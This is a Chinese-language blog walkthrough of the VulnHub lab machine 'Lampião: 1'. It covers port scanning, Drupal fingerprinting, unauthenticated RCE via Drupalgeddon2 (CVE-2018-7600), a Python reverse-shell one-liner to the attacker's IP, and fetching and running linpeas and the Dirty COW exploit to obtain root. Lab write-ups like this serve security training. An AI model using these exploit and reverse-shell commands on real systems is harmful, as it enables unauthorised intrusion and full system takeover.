您当前的位置: 首页 > 

仙女象

暂无认证

  • 0浏览

    0关注

    136博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

vulnhub Lampião: 1

仙女象 发布时间:2022-07-25 21:59:40 ,浏览量:0

渗透思路:

nmap扫描发现端口,robots.txt以及Drupal大致版本 ---- 通过CHANGELOG进一步确认Drupal版本 ---- 利用Drupal 7的RCE(CVE-2018-7600)getshell(无需认证)---- 获取python反弹shell ---- 脏牛提权

环境信息:

靶机:192.168.101.89

攻击机:192.168.101.34

具体步骤: 1、nmap扫描
sudo nmap -sV -sC -p- 192.168.101.89

扫描到TCP 22(ssh)、80、1898(http)端口,其中还识别出1898端口使用了Drupal 7,还发现了该端口下有robots.txt

2、通过CHANGELOG进一步确认Drupal版本

浏览器访问http://192.168.101.89:1898/robots.txt,发现Disallow的一堆文件中有/CHANGELOG.txt

访问http://192.168.101.89:1898/CHANGELOG.txt,发现当前Drupal版本应该是7.54

3、利用Drupal 7的RCE(CVE-2018-7600)getshell(无需认证)

exploit-db中搜索drupal 7,排除掉需要认证的exp,最后根据exp利用的url可否访问锁定不需要认证的RCE:“Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution”

Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution - PHP webapps Exploit

将exp(44449.rb)下载下来,注释掉“require 'highline/import'”(因为没用到,且如果不注释掉会报错),其他不修改

在命令行中执行

ruby 44449.rb http://192.168.101.89:1898/

得到靶机www-data用户的shell

4、获取python反弹shell

很可惜上面的shell不能切换目录,所以考虑用反弹shell命令获取另一个反弹shell

又由于该shell中不能重定向(>),所以用不包含重定向符号的python语句获取反弹shell

首先攻击机上nc监听8888端口

nc -nlvp 8888

然后在上一步得到的shell中执行

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.101.34",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

即可获得靶机www-data用户的反弹shell

5、脏牛提权

攻击机上linpeas.sh所在文件夹起http服务

python2 -m SimpleHTTPServer 80

靶机上执行如下命令,从攻击机下载linpeas.sh,添加可执行权限,并执行

wget http://192.168.101.34/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

linpeas.sh识别出高危内核版本Linux version 4.4.0-31-generic

并给出几个很可能成功提权的exp,逐个尝试之后,发现dirtycow的exp(https://www.exploit-db.com/download/40847)好使

将exp 40847.cpp下载到攻击机上,然后在靶机上执行如下命令,从攻击机上下载40847.cpp,编译,赋予可执行权限并执行

wget http://192.168.101.34/40847.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
chmod +x dcow
./dcow

执行后提示:Root password is: dirtyCowFun

说明攻击成功,现在可以su到root,密码为dirtyCowFun

获得root的shell后,在/root目录下可以找到flag.txt

题外话:

1、40847.cpp会在/etc/passwd写入root的新密码,而原始的/etc/passwd被备份为/etc/passwd-

2、关于脏牛

网站:Dirty COW (CVE-2016-5195)

poc集:PoCs · dirtycow/dirtycow.github.io Wiki · GitHub

关注
打赏
1661867686
查看更多评论
立即登录/注册

微信扫码登录

0.0424s